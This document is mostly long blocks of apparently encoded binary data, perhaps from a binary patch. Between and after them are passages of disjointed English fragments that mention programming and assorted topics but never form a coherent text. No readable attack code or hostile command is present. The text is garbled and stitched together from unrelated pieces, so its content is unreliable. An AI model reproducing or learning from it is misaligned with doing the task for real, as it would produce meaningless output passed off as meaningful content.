zlG~WoOes*+VNr>Lq&&Nknhw?;je+lw`$e5k`=fCJeTmb=bJ&$86px7Jr6#$Hly0JXqz-0c2JI zR+yMaoK&*m4NHcYLF75cXJQx!Q8{8idlFkA29|tikuYnF zqeu)y{-OhAVl)-kro>RY%a-HL6Pu1zANDP&2QJ9mWqxt?-519ef)y@}O$f&sPpO6)@Wy7jGbOi6sh>P>I zAmwCp1RB&}vu0otf|RY2$>GNkgXDf@hc$)eJg1y&dZtbmMbPVP2qAJ&eKK7mIsJN= zBr>33F@`ej%wf1>ptz7`mm8z1#YT%a(i%{uaMq`=C?U>H zrC`>(vx*DRxycG)G;%R8d-q~(mV_r5Pn?jfS&7nMW$TIMkpnTOMKQ}GW$RbY0;h8* zTggi)2R2Svf0hX)lS1uEcq>}lEU^=dZDIm5)Tx67xMD>Ni4!tB5z$^ZWW)=ECQ7N?xXB21LD0_b_SJQNm z_A=xF-D0z+mihy7F!EBb>02IMSl%l(g*b-@tcB*#bOJ^qIxNSQA<@39-xxfVNX;&U z(yEKIR>IIoBr0F9Og!Z# zF3ypLD;-jRk(ibuXsKUX8seCXY;lO7$Xtn8P_}Pu_$~a)x1q zgZ0IccF$z9HBOwgalPF@r;V3wQLj#3cPgiISn^fxpK#?`E(^PWSn;s3IW)PYnyaihNymKB|pfVdBz2E!DKeQq~LRzVgiQ?kP_m|Br{wz~*BMVOKKGTiPl z#YIR{{H08(6N;+ESO8Z#ExAC5a2CtX5QE)LEQ4g(QE3ZSVj0fh#MZoYTB3Z2d^Cm? zq4I7dnYfS~+LX_B!!lxIU@Dneq6x!#6GI2#pp!86qf$XQDtplCNyT7Vye&sR5NU|a zk`!tALmi~;*&z;^bOh5?G+Kkg5#=93b4omD6e%ehNHg;!4;2NKmV9CxN#|*pNh}5Q zl2{oFyqCS^pt##V%< zxCkrBG`Wny1q7cO-=V!jAJ$ngPjTGVg(n5hQIAP7*H3CkmJ3DS-ilbVMHZhc!YzQkz9a z9RDB>iKM7@#pyfwQBny7^TUx>8t|iRtZPfb@JcQc0l)ET%E+L@WbBXm5(Ax_# zh7^YUMgyAC;UD(FKpPo3ZcpIE2z78mpfU6bY&@)}vSf;&#kEXN1+5>v^5$3gR30)> zX&glkIyyWD$bJ|bsrd572!b$K?e7x>vKKa!gF76wH%>8lWqZryu;jb2kV>c=D;Bfa zNsGYp6tK>MDzH=_|J=|Ubh5}Ro+I*SAZ=Xe*!`g092zM+JOoBXMPf=@#EF|`5J{T- zd&xkCgwpB>JS2r=>0=3%gKmHb${zWooH#mX;_Q@2g?4A>jb%Tj5HuWvTn>>fW=Ru? zCwYvPA`9Cuq8ur1VCr2dC~!)kT#&r>L0#RyCFSL4?ahNFkqT(yDw~M}RyoA?SH$e; zY?K&Gh4G&hkz$C)eyKw2FrSFEm-j*^VUi{#!o**S%*+7M-4j}Xj-_&<3TIB5fr`jn z=0``B<}Tv#QkY{n;Rlr$I8MY4g-LjtbI~e>WB{P-{ebMQs9tyfJYqbByoaF(n%Qz1zulpVSpb; zRy9So;5;e{hmJP{c8C#&p37s?@t#(`#TkS|W3tl}{b_3!M-il|`9}>}^1yKcD@yLb zc7dNr+-jpix00>yWDGf%kddL)b%NE_3lc`wJD>P?i znDTvwk+Y>W7AW=wLb5H7KoXKBq!6!|d=Q2$BU2Fd8T!p7Aj?xg1(Ic87T*`~vW*n+ zoLWUR6}KFYdPdM#0gD(tj5YvRj-))O{c^e@v&EgJ;Xw%Az5@N^BcC-AgKFreChMLsv19*9%B7hO6?C6tTJEFmSqGL{?`OgGD z$efq3Ak3+ZB^6&8OU)Rh!z&ZO0K$frX!1+xi_;8@$M!s5@Q6+WOICpc$Q*Vk0d3Ykp_lL`nYThX6cd} z#*&Auwcn(hUpikK$0yc{%vnUwxh$*|!(5K8|{Ui8zlgEX}l5n>Ip-58eGX+}sQ ztqxOMIS6H>ZSji1IaV5SgI?5-a`3XqP-W;(SOS&zN3-4HXeakNe=jm%4-YFX90p=Y zCu*=^A3L;^_^9k9g74?aR**l_{8D#WH_ zEN#D0A>lwLr7j^vn^~F`Nw^%hm;mV?+B%UfTCQB(t#uPiv!L$k%TQLrbezC>b zG+abj=uK_Es)qU|y~KuXa$}>HnP-q#SZXX?oJU}88l$q^6q<@2WW&;ge|b3Y)-fxQ zf2_vZs@df(&My!*C8S}P##xxNZV5@YYQ$AbkRp3GpwUd2qv z%ocHwKPgE&D~P)&huO6_`c_^PNeN(9E1rsz`>kx*vbu>&->G(Xd>d12S{={yh(1o$ zo^D&{Xy7no#{DIQxL3u+K}W((FpnFETUW5d0(=hcNpUe6uJeDR?}u1+&c^k}{V1@i z#JEXDmZA$dA5yo&hZo0?zZ@lE+Q553BqTqN#fOjyOY{dJASS@=Z zKK85_y%jgQxNtv<1vxm7tBK`fLE7co2 za&Y4Mpo$bu#J1w5nhaK|e56uPiK-XUr~C?$iYrjY`uz|Wni-)*_~%BAh(|VDQueTr z9Nenok~nBXYPqO)1+M-}+!Be;RmM%qM2e%4q7@}Eq2^vzF5(m3cq-R=M&wK~z{=Z{ zN;L+L8@J@Ra37D%6}rQ=2sB*%@)RToqC{}*hJ$ww3^PFN8f`;mgnG@)VYkdK2z;JcSOSTa`8K1mtULG6F)hwhifnrwD zHL{i<4!NKus25Q!9q6f`Zy4O~sgIdixqOfnu9gw4U%q}^MhKD#DYCa*{To@)D=Gu2oZ08N@tD2B>tUxb3Qd z#kND!Qk%JOZCX{a1KKVVG*(a=@M}XXYVSaL2Bd4iZNv^Hja*Anzv0`Y5~eDx&ebRF zNqRw)jX-J?KM+EBIVJ85LTO2#PznziiLI%YCL>TI= zHk6;nAh8csp#hs$j*FEA#B@V5kW}SEjsi4t2=!bV*|_><@RDRn%pnbNiV+LCH9ie_ z6BqC969CkOLF!Q+Tir4 z#8fNX_)ujnD$BZ<5_YV}qnQTW6tWc8s+DlB1dE zeCR2}Q_&`&l*gh)9Y~S1TKSYj?IX8}m^xQK3tB+V0qSx45nhj%-QI>DHcMu2FJ2i3yZj$YeXApY35x<;@FkFptxKNpjtKmgFstajzt`RuIA?n<}&%AHoUY z;n9tR=te4Xg)`VFgj0lvH)^Ejl=K5HVn%jATs~Z-6_5g=YT#99glGk!aiz1sN2N#h zMR2$#T&StQCp|Q{$`6<535df-byXlvxDXv0QYXs6M`=UqM3(ZAPg1FBaY8M+ZI5rH zt`k)#ghy#LC}1rvq86{@xTvwnKxl;6f)dx7bBJ$8d_)9^8l|a)TNe=$RbO2vvg~;= zh>seHps=vWvX{e=$W;g=#rQPFRX2rWGDlwwme_76K4iwn;^$3{#=4 z%GQH5;E+lS_a-4)g#v^#7_ADYD4_&Y1k_ZiXjQ0Ifnr3K9TYU8>q(&|3UDMOEG#r? zWRy0l>|VNJ!;7feKJCeo+s~3lxkg zk!{4PM7CkY)*v_(Pc@2I4Gv09L&??DhM>N+_*z0OMJ;75RhU-IYs9}$1c@$G7Y z;zQqA@2l=BQaiEflORILn)>>@;!EsIizhDG)eB4dQG$OQ72J*`t$3kwtF z-yh*094MO*hN228WLCC`avMotYz?(0s%%GOdn%_!jnapsY-(lHNI{6oP^$$J+ciX) z!D6ndu2wU80hLgP5g~*VO&g{T2}6JYJP6?;ZfL5j6;#H^Hc^(yHt=Xz5hL3~wyCBT z{B9%@*`6pO+t;Du%!#s4D7sr1L5(I_tws<_C=kmZy@6UKhWRmmM|Cx1kMc*UN8(m- z6iThGudWdqsz$R2LS*|eVmNXVGeUjJcA$a4DUlbfJvEwYYFyt>f8ZUsqzR2y31Fon z4Bdhlx`n~*k!n?B*>-p%%l3;fM6IM~HHi--^&0U<5ym4;A+qcv$RK)wDh!Ey1U7@0 zYL%c7sIyS`K9Y6{+!rR50I8uCp(JwCVp+xhg*K=D2X$I446R394s}J#XwbXR&k&#q6Ube*4_~Gd|Df&JpOVLq zQXqg~gzJ?C+kq@NFB|j7CM35GmR2c#X=E>iFCEsGuF_0Kw5*7BAg7UsawR#c2M_ZR za*%8bFj^hRlvEn!Z&a8EPXSON>FRt=2;-EWK6vmHZqkR36Y$%=4>(BGAyl^O zpIQT;P%3ekH>acvSC#mt76m}1_wS<$QAUyX0se#s51{|y*{%lYjGTnpoKS}oI&i!~ z2~|khQJz#R`ZTa|IzGci1;XF0?n+Jz6n!H=*^B_)F{`9tst(1_9js%_;E-Mox*ZL2=4D1n}iKPWcFddITOkKp{1_ELVdz z6GAzmI&2B9Y_X0noAwW96Lj*jZs5Fve>=UsR=zi_y;j=c?V6yAp?~eQMr>*pd+c3Z z;v4quwf%7=h{K9~2X;`uYi?4KCDDpoM{$3oJtjG&4xcSV(6$3Ry(1lH=M^E58bwG{ z9U&xK5fU8==SVzSJQf7CP)mje{gS~#V=OaHgb+ap2@^sPBU%OOu|kL%KaCJ+D4uL( zNMzY60&57Y4`G&0m@)(^lSc13V#3f)EFkhpkpRY0H6etJ19=wV8HLA22``|)?F0^zcRKI|cqZZ*Pl$OaFA5qRLY`@GXvpz8ffp&(EOM2R z>lT621P&9pLf|TaO9ZYHI8NX^fiDQ$K_(gGSVxI$q^gmIqpFeuM5vQO@3H{s0(d5e z5@-rxj;e!RF5n3#Pkl%>9}c@zi0T>+p^EAn)fGl2ObiNUE`hu-Vg^s~qoDj28QaL@x{ScZ{dAutwr zjFi=OAT%MUJ=Un3+08=H@61j~?%YNR5YaXm91U`7H{ zHix0sh^RG)3?niEwg*0@gpw+vGB9wV{SgjJaU>OSqyXy;YB_?8O$pg zCX^Kep%JhVL1#n%0fz-1hRy=kI9tTV*#b^uTt*PuD1wY|p@wMLqk+m~)18_SnMFPc z^Ax`ng#OQjVWc2Q&P1?Vw4&>1VY^Vj5FyDc`UZ)LO`+w)2P!3ev6=3XiyLbKpUi8hDbPPQ5Z3YHma5E>CmoQ(+8h>_=Mv@lU3XaGl`gnUuO zK{Tf+(aSK8;b0q}>QD}>Ze?YHScoztCq!T_#tRggQs5$y6XcQdgU!v@x1XqC5it~X zM@mWTmKm^l(Qtuj5QbCe01f&-9Q8GA){gMqK-xWHSnuJhIT_@Bl>^=nrwsISB7aeLi) zJ}u6J;3`CVSq01FO?a+>KWNWdt*)OrTbo8_(n{Q(G5FpO&vo3hTI(kXj;+&baja0w z&I@_99vpJ=jI-Nx96n6IRZr0Ab#b^5H&GXZPYn0sIb$$Jhja=H9X>6cJL;rOu*F*P zQuJ|FOH3Z_=!}iYwdcmf+G10Z;`K?^xV)4YdrF)&1>e6^5o5T9s4JD!Ur_nV6R@NX z)-t36z;w`3neD;-BluPr*S$*a=%hm(&9vBzP|0Fpdv4 za5V;-2d1YD%jspv>V-u^{LO`V^yTL_ccOCmf(6GprF?J>M7+pLC%fphf!*`})J$n! zIWzH$q?{+t%#ggL;i13&1{3|CxVPrijOLxD&-Q&ceb;!$tna#K%=x;-mvjGEw{3pY zTO(ebH1_qS2~o9|Wqa&NMZU~)sZ`;A7dD{@0s0yd^LLib60^FHSf< z@tfL*_y6$G{N6v_Dmw7v*W1V6I^Jgb?bsum?;M)F=+}u&m;c%@;>ho>)!Fd(Tl<7ib6cyswHLSAU#HuE(+w=!M>ll#$!hV{pv;z=NBG+PSkR$k+{o)4cXaO& z*X^AtiLP$e&UvRcno`Cm^tyCwUhnWf`wy73_txOW(bY#Re?D@;zdO~LOnYae(ObhdO1q=f;HrES=?P2umZ{WWUOZOM>(g0H&A0lJl z9!~~+N0`CUpz8_Ta{M-f9lR3mt%yGa?ko81gEZ?Q-Y=m41Ils@;+#iwgu(p;(zGD$ zQ2Y)ilNx{Vcy=Mq62#ezG(JaI2*MVD{yorsg?zq%+l${R2%iMpU&!+b(DX%qr6}(R zJfneY3%bvMABXgAAiYjVYZP$5Adi)Jo&o(n;PdcQLppiD#o)I);y1!G7G*vPi(Xf8 z@s+kIX>psDZL8R{L^744RJHpSI8)IAQ94!3rRpeh-oeKzdLepT#pwUOLTp8}sLGqD zWk5H0_`d7w2-XJ&(`56%9pl)9s0qPQQmKT@F_&-QgsAzS)8WgwBY@)?O^H_y{k$fz%|;1 z_^&&{gOFT{|FS8(RV4iP-QN)Ok;ebL0c-?Gy5HLhwGl zd`e;vMrUpCmUC5G^$S7NKF|r|h7Ilv<@NhjM5y<$ZCA`;xlRuY{P(kR?fyM_35FUv zs8H2$xxR?rxT-!$x|{?wpL2sm|Gzs__Z_0P3Ko!H)|PJ#HSC)<700%R4Pk>o+*l^2 zv4+k7kzfYS89WV=Rx*i$Rpenzev3%UpCx!0={F!X{l7Sv&;({;y@#Dm$U)$v|NVHv z^B~s}`9Gar+ykQa<%ue)|MG|Fex?$Zk02^YG7mby!ey!b*JBRj5h0mU`>zp#&qeGN zbNlZ{BUD)PZuQ?zNAx99*>L%1Ie7-8k5)e4_^^|ndqA$QOip5NWnGJoFNzx)o`ucCE|p>fn;@C)M%I=%s8eUN|ha zYfCI%EnXqfy7RQ`wL&fKe9gD(`1*Kb2zStoLtOSEFIHRFHBmMl-%xr3QET0WXjpGZp#ctcK`hntqPKGeV( zc$-!0_2Jxpq1NF=HGEqC#}IUUJS}%nG@tvwM~bdoK&0#t-@nxHj}iY0E%^?sTya#5 zZnV&f*Gb65pi1G5N}aZ^WsDt#^4PVd?qYD>4o0wxaEK=sF{)St9iMCzYmWEK@FIei z-Vea*&004I@n3wGOzXy*1a=$629-@qxBKh(7%3*cSfrI=Qvi#~TDL^HtW4sTj_*w` zAyDc8Zi^9Z+7i00NlWhrIo!owXQ`B;&0ip@1zxVlQX3UU$LGpvp-{oO7g|bD0wjQ@ zqypgWDryV7+GuZ&D%r$9+>yvqE(Kp1X#u|2!BW;*d|;6euPEyHKE(L)Z!Bu*9vJqi zn&3*f>3V8hGXf4FFN>DihThR*>EKnb!Xh2tS$y+@qWKF5)=|}|h^&jS4?$3KqEh0^ zp}NEsEiN8mm4*Q7_(oD3Gzwmt*NRa^hC;sM@dgd` zu*#wb8N&BEAnwIr35hp2nMdym>G+mXk`^o7Xzp(tl-4MUk0=@O#J2#W#G=xrn23Q_ z*Qk3`?l~Q)K})qn<`)pDgM$fZeP02p9rt*wUW>N?y*fTcmH;Qc{Ob|J6MCjHfiKrB zE3va(;AJ;0-EtGumP`;(A>@U(oAe1fz9W0NMk~HYs1@J$`^N|!#5aD4yK)iH=n^L@ zr=KJx3CXG482=QpPaq-$PM?6>Y$#t9smM+G52fh9UV?*)^p4R=<^QL=I|Sash6w*F z4|^J9i3Mv()=^;T)h2BL)V+nNYHC6s1W$aC4XwsrKo8RC=#r8INMfhA8^&*##q&-+ji2+XbG9SqZUN+0OL+Q{PeLCJqcY8xYpp(;@IX?b{SMO+J zffl^AQvZevN#b5hcL}&p%8Jw$MG_TP47=t)&co(Lk0SA7m+omx@D`pHJ%|lx;#=rC zKAXBMJ`hM~=0~g}795qViu6YzvH!#54I7QZ4aP#}7-x2TrJjZfaEwIk*HK zZCxOKrcH}M)UGY2_t2S4NGuTKVz;NR zO7h0!K~xQ78Ro+P#Q3k16aiTuexn4f1@R)wl2EksCAGJX*Opft6yAZ^36hPY<2$j| zkwmV_&hF<>rB?Z0#Kkq2bPJ`9?}m*fNe-p)j`X2a4yF;M?7Uhj4r8Ccz1y?z-H~d* zhY{$Tcid=QK72t& zCktX#oil}+TGj^GVr5oLkVPOXnLr;Y7OzXv@#(ny09GVZa3J%#q1&WD@B}8RPV7a2 zY%R=+%7w`&8ueg+sD09@6tW3R0$a+a7IL{jC+Z%^ZE@g(X64JxuC3AWJ^o`-PsBXQ z8mF>(lNMypL14x2Wd+)qDP>$AgbPg){%<#pKB*=@ne3K zhuc{lkSlE=yR28ooBvbMaCnY&Qj)qr$D?mNf?qVT8c4}tLP6K{{zoqPHIq2R`;(PY z!R&*&y<{Rnl~>Z=+JU0gPuc<#5)6X4RDsUw(OHIW^Tv<;eM`69{nmH*{c6`YKQHOH zr+7iz>pjm8`uMQB-;b(`M{?Rl8(!Pl{PB5LP9&aI9o*`gqKVsD?a3=A+8r+3*K}p` zeUGVTznYY=Xh8gp;uuxjmRIU_y0dxsLgm8E`|B%bYi~@xac;7)?g+ly#Lv#ntl4h< z^a$@J#qMD(!uB6n`1JGGtmA~-=%MTvpbXEN$9Qf{SDqV~Wy+e>ZAy)f%k73KV-x?< z6q!E2Mj2=7G{P_^MP**0>?D~lRjjjh!p^UhlxlLvN6JZzoa?X8dV``wH`W?t}eznr2Kzh|oj z-{_^Eeq=di8Tmx_{@03n{rctW7xE{(vU>OT&l_%KJ) z^3_LUv!lV<2f)D6P^C>i)?=ERo6kLDd5lUKOy;MJ^X&4{6+*X~Z8vZOfu zZpy%w)>YrFtsVZv#y`6s+BNf4!{qiO?mqX}?*%VzIB@>8eT9iX&U$U~r9Zkh`n^{5 zRkv+#w>q@f{nEaTpVhoD;0N+?d4mg_802)Ix@}uQ_i;i?S5Rp>-ll-4B5VCskXt-Kh&L` zcG;pk_s5JT?puFvz5L~{iGx1Yo!x)&lOHD@U*GrT756`E`rhp5?VIx2Yj#FH_e|Lb znQ=3BUwdy(+tUpfK0c|-xcxV$Ke;QtPX3Vb%beN^9S1(!@U>yLc7zz~&3eC=`_ade zTc5uf-+zLq?Up{DG&^*oSEGV9e?HP=wx!0sT_-}y>bs7;)AQ`<^Ot+>NjUt=XU1_) z-n+8lvp?t7$^Pz%7ME^RpAx#rIXZtc(OjsNqH zHQt#cA9-`B;*EDtt?ahB`@HA2_li?axp{Bhj0FQa%q<%A>H_sAMOQOp_I;B)f7t!Q zZ{7I$E#CSCx9`-aCAq!7T9Wnm$*XtIbed!aOxpQ_K5rcR;-orh`fqBk zRS!{~S+>(RXGqvn-`#%29{y2tS83k6{V%*x|FPAoY4}ilOmF>5qzUZ#+qcZzANuxB z?`?`2@=ERtaknlcozEH5a%=LbMK{}Q{P?*{&6BoEJKX%U{HZOwPWJxl^yr`COD0WJvw~zsIb+T6;;v?_+;kle+(-CoaDG)~ESKjit z`{Kj(o^5^gP=nMLyvx^UKUw!#&k34t@5L>BZ2#~6&pu<{c&XD@!!utv)V)o7$ukjGe)y(j=)fAMZ}ceGHQ={pzqPxyZ^Jafq6uYYx?KQ&i#_tPie>T#mpM}HRfJG>;Z-R9=ce_U_=lBG{Q+PZ$vzqU=( z8ibc#xD#>jYOhsYht_^=X!ljkKX@@Z_Sn5;Ge#d8SG(q_&(~a5Kecn(sJ$UaiyGM@f^&yh=IlN{k44?HoZSIOSxHESIBv|zor?Wamh#?mck?k;ef zUVL!u&q@9BerlL>c5vU;Tf^J*P<`;p&2=l@m|ne6gLUU7KXocUWzP7c?d~*j%~jlM z)j99Qg;S?@?>Ohi(7A21N0~Ops(-6~aaG^O+Ya4+^ZLb?{+_W#mzMv?YuQ3k>+2u( zx;6Gf$BfTn%I=>V^u5{o`qJ)W?teP<*dqn{-JY7yl^#eMd1Yn8Q@d7}RH z2hOIQb3@afJ^TH&xcyUR&n`N?_(q%c_XoU~Gx*AsPO(EfO$~kFt?yj%O*FfosZsc5 zr%fv^_t>%fnLkw>+onI#yWidSei_#+ZhqwA=f>}Bw;=k=E80Gv-5IZ2+v}r`_`i;> z%rlH`^!WUHr74eQzA}Hw$e(XF|5jChOy5zHPTie-B=`FtKe&)HaCYdPq-&cdoJr#f zwm02=_=nhw(_a{Djj`N6*-W{3^uir)?oglJ&F|8?Holt`s;RTEpC|f3+b>r}KJ&z8 z-{nth9y}BA(yEEyS-va&-wLku181ucbs*`?Ju8iWjcS=@SANwX~+8sjprK9u5XpK>*T^8uYGcV!>ncIYPsRJ z>Z=_Y%XSWUt;;!m>uHIvzBIr8-#Xo^TeDmJdEx5fsIenwmDIhQ@TE?_`knOWBF*1* zS7;|s{czlzOW)M`b;M(T4ZD`UpxdC^O+%*O1M}UEzy0ORPY$h4nv`sK>g32)dtDo5 zjGK7!r_cAfPeu<5Tfgk`mBzJynOwT6&nd@&TJMLKyfb3io~UPxFVVLWW zy}zEj_U4@Y0Zmq~`(nbE)qV3UTk~#*s4h_dPa3_4cO9Rm7`8J_IKL`X{o|ekA@5Io zUioz0Ox2bFwZdQMe5B^dr(daY`R1VNw)+i2v*w=GgmqXP*0tw|YDI6fYSi%8^1YMr|LWa?gR+B4k-cKWD`y}!_P=p&Eo-A}%r zq~CiskzZXeVcM=Cu^Udj9P`7NV{u>ck?}8nJEp~3FRX6)ckIp9pFP&0RYu?3=1;U< z+N{~D-)Zao(xPdbjpH9}a$#G$v{8Sy9UIoI&7DSLJM0~|q5Z=BcXjVBPwM#5^9zga zeLr;U+F^~oug0JEG-^4wq+RBKah}_c_{^`JC?0=)#-z*-`aD%vQ{%~|xrZjM@RgO$ zZJav(^QFoOe|`SR6YF%_ozI#k6<+u~*?sNB-(AjUHjR1gddX;EU~EBR@-Gg}Q}5+= zuTyBvd#9ac!0v0Kj-Ptd{>=`XZJVN5-t&%2`Pu`gdOfnNPI|v4S$#^2=k)&5dLi>b zXrq2FZ62Pn@~Z`X7cAVD_TH_Kp1=0%Vcy+hipdmr(BK_fv&W;~rKd*EnrZA`a63C+ zh#%B#d-0IalbZ+6`slZ;58v)I@ax(W`=6M!bHLSidGU!43 zhz7qmoN)S&)P0NZ7q1=hTd!-}FHcR~^K+}N({4o$NxMDI5PIj0b_eeM{_^wp4nD~I zb=1i5XNDwgI~_jb&$B7tbUU~G?$`@6mu$FrwCUZizU`BA{&e**r*7u0KKa4vo5v@= z-{FLEMegDFFP9z}UG&|tkqufLjrjZVk6X`secz-<&wi5Lqu!@q3?8!Qk1j9oT|VX5 z?w7AdezfYnz6X|k`~q6)v;DUtt9|BEo4zm>K69|av5yXQ*eZP4WBz+{O8zW-QJ328 zrTT5I&3(PwoAckvw!QN656xcwxa`ur-#*>GV-jaPug>W+>+#DqW;$^6r{?lW)J(@yGZ##|njv zwokp(Xvf*dhwr+PuwWQRl-=eKOtvGDUJp6Y$K_o++1Wty^4wOX8hu}8%9-O~?#_tN!fN6+SM z-+6TM=lIO%$h^8ezPPby`@IWK+}t68ZJihOYklwHgYF~pY`pW=FMFT;Y;n`FxA!;c zK51f;?s5q@Zhnlqq`f8lr)>j5U#-8dQ2oN4(M5?Xt=Hao*|s=t`nm8GTh5m@zINi$ z^fO0aX_xUq=#Gi&C#gGZ`F>9Ht`}_)o1=f$t{dHJ?ABi{7XKVJE&aKNVH zcRqdk*wn!boV7k$HO4mKe(qn_KeIoVIfAc!#u;L@cCGpQ-5Q$b_iJ69ACGWkTrrF~ z;TfC1{KyqWm!8L!eg1m7#?djG!dCviYEz!?bj zZ|jmPmM_EaUwC}MXJ^_rTX1;Y##N_2eWdG#VUufY)O8-QWAnStZ69f;Zn^QnhFuG* zfBk`C;nDTJl%6Mkc(3H>qB^b4DW}#w?~STv{bpKc+q`b03u~+zK6*m6L*Z8zJqVrK zdMy{WezE#V)7+Z3j=rIJw%}*J@!xww93zM1-aC+QFB_|O*8e_ajB8xO<9}ajcWlP+ z31=g|=>1i``{LI7_iyf;ZQQx}krT7mjk@~A$&-`j9$B_;&*|iWKVQteo&VvH{2|-l z{3>Kq_dfdfd!21p<8(&Du=jrLt zrAOT@^$UCHKat$+V(Nzcvoz8kKYUNpMqgU>sM49k%qR zqcu)tPgVBYvq6z!X_f!hy}F|g_wDIOKUd=F)_e4kwdaSQJd;=LVvk#$PbX!q-M;$c z#UEaH>d^Z=uRYil)9B|NJD%IK?emzq8?xSfV`B@I{_wWBA*T+u9daRiSN@six(Rt3 zw)D2_6B-tboY&6%XwuGV8<)+lzPI5;)$r$U3LO+s12_hXTL^Hj9uLmzvDbHSf{eqV zD-NfTI8s;iA}hVeS_==oyV?*BUiaXd<7tP7&gpl?W5kn%$BM^`XDXgI@a)C&4ITxa z;J;>E7p@yO5h!{cNP)7bP!2W95Q_Y(an+G~IC76b?or6SHdlwMixSl1>T?ZHibh;C z*BB+a{{K;58e$vPpOUMO+nd#)o$_O+&3vci$!FdgKKRr5hD^{;R4(k>k(61gjvgEr)PUnM*-3`YVhYvrvyv4Mazp1limNxDE zw=5;AcfNV~>h13j|8lj()C+ssZ+ZHaxM1WKjta616BClU$ud)|NNWz36Iwn# zY2rDD*t@K*uL#!MYsBRECNf7$W)UWQuFa%>5EnrnI8ewVyHLJwJ8;FjUVHMy8KxGM zeS!mr@eKkO)z8{Yof9!=e9Ua}79B&ItXxAL7e2|A-}pwhfvhD<_P}ZlM|?pF$@7#r zYGPD}g*K*7~L^(6U;K*SraykYsT8e&8S?&xKE`e0RwZ^&?aoR?n1NMQKg|o-Mu8dDKG;V!8o!Hf@kk#I?DIF7DLzs9az@+w$ zoPEJf-L&w%B!y|5ZJU+E=i5st4J;R|$X!=8pDDd@izRRLQKLG#g2SaU{m9exQHYBF zYpp)%RDyAli!GI?yod;DECcgK~C`Bq% z+I?e8cvgZ<$%Ss?%1d-DtMAQL7n+j`8W(y~-h7;@B`moa$6VzyfVnETAQ(9p=<>8k z+w+A7ljSE-LCv8d=>dlm%@;(qvh#}#F^#6vJtn-xS55QXbGjnH3eC{{V{}hhdi~{x?B!QhieA; zms{HE_ieUQj1Tp6RCa8{Mf82xPnA+i$`yC7)idi_v`S5crX?3Hp{p!ovl1;PlAN4h zHO;^gx6tJ5!_B}$q3t#Y*ji*mkF9d0T`M53c$Y$ZiwR{ib`)dqCEdoR@3nE@b9#dz z9n-U$hL=V9PQ7IAu%V8L6EUhukxZPdVe5L6MKHT^_E>SFy_S2TwyRi{vG1fbm3$!~ zG1mzbZXzLjrQM@}1u1#jweb#2iMf1&F?Anm+n2NBx@K$!wjOdVjK8THs-^kTRY0Z` z9>aUKJW=UBcbDfU+IHu?n&YZL{#)jiF81$MkDhIjAvT`(lht0oQ$k$5m`Rl_(V-OM zwZ)x;m0j0Sw>r)c@~Dmw#$Vhd-ydN|{z3a3vBzTu;uexhrm+`7Oa^SN%nuVynNL_6 z(3YBY)8c1{Q^n90QL(=f!ql9u#Oy9JmAuLBVTrO`Dz~%~nDow;}R4e$H^}ZMr?mpi8v&a6W)J+ zU%01lf8<_c^~l7`f-u(Ia$$GhvtKybSAXFxlVz;Q<)+xLM?9_%ge+b6IY5>ExiL2V zAo=BlWIWOY#n#ExJDPr}OfgG$L&QAp3Xa59bVov&90~vm@^|<&(%;=4XA3ozS~QH8J6^^ucM;<3l62-xQ(f zrgV~RTAk44osr5-&_3e|F&W{I}g#`p`>1PCcJ;V=w zy{pjeQ?HDh5yQ(9?^E}m@HaQMEkF3ocF#3YyHx5jJB2}Op04n1o*)Be&b3EjoK|ER zLRSd!g^>1f;RcNWVcO`Iic*IA6*I3E%286u$UPVkMS@?JA-#KyWsasilUY2vpT=eT zCCwuV8EXByLh8|zWsDrBL>VtsJ!8R>GiE7S+orfEY)!%aA&ls@J2MeF2Or&hGXw2z z7eFvHJx-v@O8|-x$u>;S-NpqFq8MQHjy=$p;%@*1gUyExV1+_yfYPKXhJtx)DAXZX zP{a=ABG`lS;{(c;FEt7k0b{EpU}9A=C|Sv%c;&*V-dyN@x(kX|B`96ZppdnIlGO_e zSua-M!v26qQ4;OJquIrbLq)pzxtj__L`Y0Pf=`OK3zrOs z9E}a(+pkRExWaMche2IISy~VCL)JXwKeT48DaTX3V=sTC>xrDSp(M-RQ?`FMrpq5a zx7c#0IpLFaJ<`yfY8V!l`r){EeTe07GdrWvoHCy(=J@61J*bKY%17wKgDCSPj6Ksv1iA)|QDwt;Vvio(CCL6_cN$&u@{n~@bF_-2PZkGp zZhxpg&B~B>i`|_iU%l>*JeiXhXjymP!*9gkRn8ogvrk+)+gqKe7FErWEuE-xb$n*% zt!ZQExF&11$w!$-&b)foqA7N0YOR%niR=BCBEGD|nbhc|SLY6O+sT~1b7X>GH>;W0 zNiLnkD~C5uCfN&+N^qug8nZ=z^)8m{qfVGAuIM`w@nZTsb-0tP{K%n6Wi_h9&Rk;J zmAKbFUA4{PA8(pS>%7t5-bpQcYTO(D_SF}vOqCVEq|QmtYLr(NUF40c-cn1%kVM!L zJt)SNI?;E-tN&}0!BftWtsv6yhqq30ont(#_CU{HJbmk!QLYI0^2jx^O9OG;<*o{! zdJfKodC^(krV@(Xr&_p=mNR+QBkYBR=J5Q1D~%RkDsrra+i-ZVez0Nc{Lr%z+*aOP zT0s@gcEzinLepqhgNHcAgZ7f&;J#&D^4mFW^F4lJ z>BmWybUs`@emX1UugKN-?nzMc5p-vfJIs3eJih(VGC!p&G>ZH9&2fgZ9?fH@&%CzX zu6{$-8g%dODBa6I)4j^y{q!SE_DG7r$#iM=M`fnQDVcnpy!W*9K6XryXpWteF_kNb z9H)FzEq%gqJ4%hP(d?y}^2CYI>7MFIAQ>>0f5P?YPEqisg_)yQGvk;|=>aw_@-|gBJ5{ zJblx0y&r!}_=Ire?gyqkrX;}{E=PjbqNhwR-<1=VT8YL#^gR8I?`eTWT9u8MN&=l5 zy?fInBk%LGj75BM)M(Py=lOd068?e78vB#7k6NV9Pv(&hK6%OSF@Kk~A(_UAqRz*I z&D!LBskY>YVDaRFPNvl>tg*R!O7fa{&JNnyJpYJiH6X}6=Z>r1RUbH-N^Tf&%hFI% zdoIw#R{?ibJWeo~;@Zc%bs~c=L$>mKp6JEWY+hwj4-gjT*7%|wfpfrmRLP>QIc_#N zw`|`$-g@j4yQf&00^)2(u6%D#V&x0A9f@r}V%v@k01f~KpaQT4gaRG`&}cXZpdk=6 z$R0EV0_!WHU{M+r8e}CJdeqUdUJ{xefB=*M#{nULhbYv19~O838~_0T4ZsKB0tiv_ zGB9ub2~4tpXUxlhKN;{R1O8;dpA7hu0e>>!uL}4o;H!YI0=^3PD&VVtuL9m5cz@vi zf%hjs&Cz4sXcRBV>v?~C)HE0NIdBh5W}WvZM9tCTpr&n6C?}BV*qIwM<|x!O$bUz8 zKPQmyj___%qHqq05#Dnh(gotp3*XHVzMmu1 